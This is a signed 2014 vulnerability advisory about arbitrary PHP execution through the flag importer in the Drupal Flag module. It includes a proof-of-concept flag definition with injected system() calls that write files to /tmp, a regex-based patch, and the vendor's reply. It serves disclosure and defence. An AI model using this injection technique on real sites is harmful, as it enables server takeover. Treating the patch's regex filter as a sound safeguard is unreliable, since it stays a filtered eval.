-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Drupal Flag 7.x-3.5 Module Vulnerability Report Author: Ubani Anthony Balogun Reported: May 07, 2014 Module Description: - ------------------- Flag is a flexible flagging system that is completely customizable by the administrator. Using this module, the site administrator can provide any number of flags for nodes, comments, users, and any other type of entity. Some possibilities include bookmarks, marking important, friends, or flag as offensive. With extensive views integration, you can create custom lists of popular content or keep tabs on important content. Description of Vulnerability: - ----------------------------- The Flag 7.x-3.5 module contains an improper input handling (IH) vulnerability created by it's failure to validate user supplied PHP code, input via it's "flag importer" form, before using PHP's "eval" function to execute the code on the server. Using the flag importer form, a malicious user is able to execute arbitrary code with the permissions of the server on the host machine. Systems Impacted: - ---------------- Drupal 7.26 with Flag 7.x-3.0 and Flag 7.x-3.5 (current recommended release) were tested and found to be vulnerable Impact: - ------- Users with the permission to use the flag importer can inject and execute arbitrary code on the host server with server permissions. This vulnerability can be exploited to upload a malicious payload onto the vulnerable server, mount a Denial of Service (DoS) attack or effect other server-side attacks. Mitigating Factors: - ------------------- This vulnerability is mitigated by the fact that a user must have permission to use the flag importer. The Flag module deactivates this permission by default for users other than site administrators, and cautions adminsitrators against granting this permission to other roles. Proof of Concept: - ----------------- 1. Install and enable the Flag module 2. Using an account with permissions to use the flag importer, navigate to the flag import page (?q=admin/structure/flags/import) and submit the below code via the "Flag import code" text area: //Valid flag definition. This is required to successfully submit the flag import form $flags = array(); // Exported flag: "Bookmarks". $flags['bookmarks'] = array ( 'entity_type' => 'node', 'title' => 'Bookmarks', 'global' => '0', 'types' => array ( 0 => 'article', 1 => 'page', 2 => 'people', ), 'flag_short' => 'Bookmark this', 'flag_long' => 'Add this post to your bookmarks', 'flag_message' => 'This post has been added to your bookmarks', 'unflag_short' => 'Unbookmark this', 'unflag_long' => 'Remove this post from your bookmarks', 'unflag_message' => 'This post has been removed from your bookmarks', 'unflag_denied_text' => '', 'link_type' => 'toggle', 'weight' => 0, 'show_in_links' => array ( 'full' => 'full', 'teaser' => 'teaser', 'rss' => 'rss', 'search_index' => 'search_index', 'search_result' => 'search_result', ), 'show_as_field' => 1, 'show_on_form' => 1, 'access_author' => '', 'show_contextual_link' => 1, 'i18n' => 0, 'api_version' => 3, ); // Malicious user input. Any amount of arbitrary code can be run after here and before the "return flags" statement system("whoami > /tmp/whoami.txt;"); system("echo \"\" >> /tmp/do_evil.php;"); return $flags; 3. On the server machine, navigate to the /tmp directory to find the created files "whoami.txt" and "do_evil.php". "whoami.txt" contains the user who executed the code above (server). "do_evil.php" contains the PHP code submitted via the flag importer form above. Note: This proof of concept assumes a linux server is being used. This does not imply that non-linux systems are not vulnerable. Patch: - ------ The following patch mitigates the vulnerability - --- flag-7.x-3.5_vuln/flag/includes/flag.export.inc 2014-05-03 06:39:27.000000000 -0400 +++ /var/www/html/drupal-7.26/sites/all/modules/flag/includes/flag.export.inc 2014-05-07 12:28:19.780973535 -0400 @@ -99,8 +99,17 @@ function flag_import_form() { */ function flag_import_form_validate($form, &$form_state) { $flags = array(); + + $code = $form_state['values']['import']; + $regex = '#\b(?:(?!array)(?!flags\[))(\$)*([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*\s*(\[.*|\(.*))#'; # Regular expression to catch function calls except array(), and prevent all arrays that aren't of the form "flags[]" from being created and used + + if (preg_match($regex,$code,$match)){ + form_set_error('import',t('The flag import failed because the following function call was detected in the code: %func', array('%func' => $match[0]))); + return; + } + ob_start(); - - eval($form_state['values']['import']); + eval($code); ob_end_clean(); if (!isset($flags) || !is_array($flags)) { Vendor Response: - --------------------- The Drupal Security team was contacted on May 8, 2014 and responded that because the permissions assignment page carries the warning "Warning: Give to trusted roles only; this permission has security implications." a coordinated security fix and announcement is not warranted. - -- Ubani Anthony Balogun Information Security and Unix Services University of Pennsylvania School of Arts and Sciences 3600 Market St. Suite 501 Philadelphia, PA 19104 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/ iQEcBAEBAgAGBQJTbPv1AAoJEKwVbF01qrx/j74IALNB7cp+fbaFMWTTQcTWSunk 1lByAHMtowF+xaZTa0HV477jpTNH/TxgWp0Unck6RNiA9VL1EQ1tVwD7Zl9pH0x7 e0UlKkbFQLWDrgxy3McVX0Zd99StH64727psMECMQuaIHRLUvMT4qQLPhjKcd+8t ikBSugPpPN8M+qmldiETurt7lA0khEPLGvep7k1x1FAtdqZB0D2s3CSmg5HT2TXu toE4Roo6dKXxgASXrgHw3jUVQQy9AUlIrG+K/KjjWKQOaJbXH7foUzKt9pmCYunO gjSZFHDru+7k2ScSGGWh+VP2Zs+seq5cIPydS8QawQX0T5fHfUine/sd+iyNvLc= =jfw7 -----END PGP SIGNATURE-----